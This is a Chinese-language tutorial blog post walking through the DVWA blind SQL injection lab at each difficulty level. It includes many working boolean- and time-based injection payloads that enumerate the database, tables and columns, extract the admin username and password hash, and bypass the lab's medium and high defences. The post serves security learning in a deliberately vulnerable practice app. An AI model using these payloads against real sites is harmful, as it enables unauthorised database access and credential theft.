DVWA学习之SQL Injection(Blind,盲注)

SQL Injection(Blind)

0x01 SQL Injection(Blind)

SQL Injection (Bind):当SQL注入,不返回具体信息,而只返回对与错、是或不是、存在或不存在之类的返回结果时,

这种注入类型就成为SQL盲注。SQL盲注,相对于注入来说,难度有所增加,因为我们看不到更多的返回信息。

1. SQL盲注与普通的SQL注入区别

普通SQL注入

1、执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,提示SQL语法错误等;

2、一般页面上直接就会显示SQL执行情况。

SQL盲注

1、一般情况,执行SQL盲注,服务器不会直接放回具体的数据库错误或者语法错误,而是放回惩罚开发者所设定的特定信息(当然,也有例

外,例如基于报错的盲注);

2、一般在页面上不会直接显示SQL语句执行结果;

3、有可能出现不确定的SQL是否执行,或者执行的情况。

2.基于注入点注入分类

基于注入点可分为:数字型注入、字符型注入和搜索性注入等。(关于这三种类型的注入,详情请看:)

3.基于提交方式的注入

基于提交方式的注入可以分为:GET注入、POST注入、Cookie注入、HTPP注入等。

GET注入:提交方式是GET,注入点的位置在GET参数部分。

比如存在注入的链接:http://xxx.com/news.php?id=1 , id 是注入点。

POST注入:使用POST提交方式注入,注入点位置在POST部分,常发生在表单中。

HTTP注入:注入点在HTTP请求头部的某个字段中,比如User-Agent 、X-Forwarded-For、Referer、Accept等字段。

当后台开发人员为了验证用户头信息(比如cookie验证等)或者通过HTTP请求头信息进行获取客户的资料,比如User-Agent 、

X-Forwarded-For、Referer、Accept等字段并利用SQL进行处理,就会对客户的HTTP头部获取并进行SQL处理,如果此时没有

做好安全防范,就有可能导致注入漏洞。

Cookie注入:数据提交的方式包括GET、POST以及COOKIE,其中COOKIE提交相对更加繁琐,cookie注入与get注入和post

注入原理一样,都是要修改参数值。

cookie注入形成的两个条件是:

1、程序对get提交和post提交进行了过滤,但多cookie提交未过滤;

2、在1的基础上还需要程序对数据的获取方式是request(“XXX”)方式,未指明使用request对象的具体方法获取。

3.基于页面响应方式的盲注分类

基于布尔的盲注:即可以根据返回页面判断条件真假的注入;

基于时间的盲注:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;

基于报错的盲注:即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;

其他类型:联合查询注入、堆查询注入、宽字节注入

4.盲注测试思路

1.对于基于布尔的盲注,可通过构造真or假判断条件数据库各项信息取值的大小比较, 如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码...), 将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果 (True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注 响应从True<-->False发生变化的转折点。
2.对于基于时间的盲注,通过构造真or假判断条件的sql语句, 且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求, 观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
3.对于基于报错的盲注,搜寻查看网上部分Blog,基本是在rand()函数作为group by的字段进行联用的时候会违反Mysql的约定而报错。rand()随机不确定性,使得group by会使用多次而报错。

5.盲注测试流程

 1.判断是否存在注入,注入的类型
 2.猜解当前数据库名称
 3.猜解数据库中的表名
 4.猜解表中的字段名
 5.获取表中的字段值
 6.验证字段值的有效性
 7.获取数据库的其他信息:版本、用户...

6.常用判断ID

 1.     1
 2.		’
 3.		1 and 1=1 #
 4.		1 and 1=2 #
 5.		1' and 1=1 #
 6.	    1' and 1=2 #
 7.	    1' or '1' = '1 
 8.	    1' or '1' = '2

0x02 low级别

首先,返回值只有两种:

存在:User ID exists in the database.
不存在:User ID is MISSING from the database.

1.判断是否存在注入,注入的类型

	1 ' and 1=1 # //exists
    1 ' and 1=2 # //missing
	 存在字符型注入

2.猜解当前的数据库名称

 数据库名称的属性:字符长度、字符组成的元素(字符/数字/下划线/...)&元素的位置(首位/第一位/.../末位)

1)判断数据库的名称的长度(二分法思维)

	     1' and length(database())>10 # //missing
		 1' and length(database())>5 #  //missing
		 1' and length(database())>3 #  //exists
		 1' and length(database())=4 #  //exists
		 说明数据库名称长度为4个字符

2)判断数据库名称的字符组成元素:

利用substr()函数从给定字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的位置,
并分别装换为ASCII,与对应的ASCII值比较大小,找到值相同的字符
mysql数据库中的字符串函数 substr()函数和hibernate的substr()参数都一样,但含义有所不同。
用法:
substr(string string,num start,num length);
string为字符串;
start为起始位置;
length为长度。
区别:
mysql中的start是从1开始的,而hibernate中的start是从0开始的。
==============================================================================
       	1' and ascii(substr(database(),1,1))>88 # //exists
		 1' and ascii(substr(database(),1,1))=100 # //exists
		 第一个字符为:100--->d
		 1' and ascii(substr(database(),2,1)=118 #  //exists
		 第二个字符为:118--->v
		 
		 依次尝试:四个字符分别为:dvda

3)猜测数据库的表名

对于Mysql,DBMS数据库管理系统--->information_schema库--->tables表 --->table_schema,table_name,table_rows,...字段。

3.1)猜解表的个数:

1 ' and (select count(table_name) from information_schema.tables where table_schema=database()) >10# //missing
1 ' and (select count(table_name) from information_schema.tables where table_schema=database()) =2# //exists
说明dvwa中有两个表

3.2)猜解表名:

3.2.1:表名称的长度:

=============================================================================================================
 # 1.查询列出当前连接数据库下的所有表名称
 select table_name from information_schema.tables where table_schema=database()
 # 2.列出当前连接数据库中的第1个表名称
 select table_name from information_schema.tables where table_schema=database() limit 0,1
# 3.以当前连接数据库第1个表的名称作为字符串,从该字符串的第一个字符开始截取其全部字符
 substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)
 # 4.计算所截取当前连接数据库第1个表名称作为字符串的长度值
 length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))
 # 5.将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值
 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #
 =============================================================================================================
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 # //missing
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #//exists
//说dvwa中第一个表的表名长度为9个字符

3.2.2:表名称的字符组成:(分别猜解dvwa中第一个表的表名称的第1/2/3/…/9个字符)

第一个表
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 # //missing
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #//exists
第一个字符:103--->g
依次猜解其他字符:guestbook
第二个表:
 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))>3 #//exists
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 # //exists
说明dvwa中的第二个表名长5个字符
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>88 #//exists
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117 #
数据库中第二个表的第一个字符为:117--->u
依次猜解其他字符:users

4)猜解表中的字段名:

表中的字段名属性:表中的字段数目、某个字段名的字符长度、字段的字符组成以及位置; 某个字段的全名匹配

4.1猜解users表的字段数目:

===================================================================================
 # 判断[dvwa库-users表]中的字段数目
 (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=xxx
 # 判断在[dvwa库-users表]中是否存在某个字段(调整column_name取值进行尝试匹配)
 (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='xxx')=1
# 猜解第i+1个字段的字符长度
length(substr((select column_name from information_shchema.columns limit $i$,1),1))=xxx
 # 猜解第i+1个字段的字符组成,j代表组成字符的位置(从左至右第1/2/...号位)
 ascii(substr((select column_name from information_schema.columns limit $i$,1),$j$,1))=xxx 
====================================================================================
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>10 #
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8  #
说明dvwa.users表中有8个字段

4.2猜解users表中的各个字段名称:
按照常规流程,从users表的第1个字段开始,对其猜解每一个组成字符, 获取到完整的第1个字段名称…然后是第2/3/…/8个字段

名称。当字段数目较多、名称较长的时候,若依然按照以上方式手工猜解,则会耗费比较多的时间。当时间有限的情况下,实际

上有的字段可能并不太需要获取,字段的位置也暂且不作太多关注,首先获取几个包含关键信息的字段,如:用户名、密码…

【猜想】数据库中可能保存的字段名称

用户名:username/user_name/uname/u_name/user/name/…

密码:password/pass_word/pwd/pass/…

1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='username')=1 #//missing
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user_name')=1 #//MISSING
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='uname')=1 #//missing
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='u_name')=1 #//missing
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 #//exists
说明dvwa.users表存在user字段

1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #//exists
说明dvwa.users表存在password字段

5)获取表中的字段值:
1)用户名的字段长度:

1' and length(substr((select user from users limit 0,1),1))>10 #//missing
1' and length(substr((select user from users limit 0,1),1))=5 # //exists
dvwa.users表的user的第1个字段长5个字符

1' and length(substr((select password from users limit 0,1),1))>10 #//missin	
1' and length(substr((select password from users limit 0,1),1))>40 #//missin
1' and length(substr((select password from users limit 0,1),1))=32 #//exists
dvwa.users表的password的第1个字段长32字符(字符长32位,不是明文加密,手工猜测几乎不可能)

2)字符组成的元素
第一种方式:

用二分法依次猜解user/password字段中每组字段值的每个字符组成user字段-第i组取值、第n个字符:
1' and ascii(substr((select user from users limit i-1,1),n,1))=xxx #

password字段-第i组取值、第n个字符:
1' and ascii(substr((select password from users limit i-1,1),n,1))=xxx #

第二种方式:利用日常积累经验猜测+运气,去碰撞完整字段值的全名

 1' and substr((select user from users limit 0,1),1)='admin' #//exists
 1' and (select count(*) from users where user='admin')=1 # //exists
说明user字段的第一组取值为:admin

1' and (select count(*) from users where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99')=1 #//exists
说明password字段的第一组取值为:5f4dcc3b5aa765d61d8327deb882cf99--md5--->password

至此,获取第一组值:admin、password

0x03 medium级别

运用的防注入手段:

1.下拉菜单选择数字ID并提交的形式,限制用户在客户端的输入,post请求模式;

2.利用mysql_real_escape_string()函数对特殊字符(如:单引号、双隐含、反斜杠)进行转义处理。

使用基于时间的盲注进行绕过:

if函数:if(expr1,expr2,expr3):expr1为真,则执行expr2;否则执行expr3
if(判断条件,sleep(n),1):如果判断条件为真,则执行sleep(n),在正确响应的基础上再加上sleep(n) 响应时间;否则,输出1,不执行sleep(n)
根据响应的时间,判断“判断条件”的真假

0x04 high级别

防注入手段:

1.将数据提交页面和结果显示界面实行分离在两个不同页面,一定程度上可约束SQLMap自动化工具的常规方式扫描(没法完全阻挡)

2.在提交页面,利用set-cookie对输入的ID值进行传递到显示页面的cookie字段中保存

3.在sql语句中添加LIMIT1,以此限定每次输出的结果只有1个记录,不会输出所有记录

绕过手段:

对于LIMIT 1的限制输出记录数目,可以利用#注释其限制;服务端可能会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s, 这样会对正常的基于时间延迟的盲注测试造成干扰。

因此可以考虑用基于布尔的盲注进行测试;

此外,对于limit限制:
mysql中 limit:用法:
 					limit m,n  //查询第m行开始的n行
 					limit m,-1  //查询m-最后
 					limit n == limit 0,num   //查询前n行

0x05 impossible级别

1.impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入

2.只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库

3.利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串, 满足条件才知晓query查询语句

4.Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求, 客户端都会携

带最新从服务端已下发的session_token值向服务器请求作匹配验证, 相互匹配才会验证通过
  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值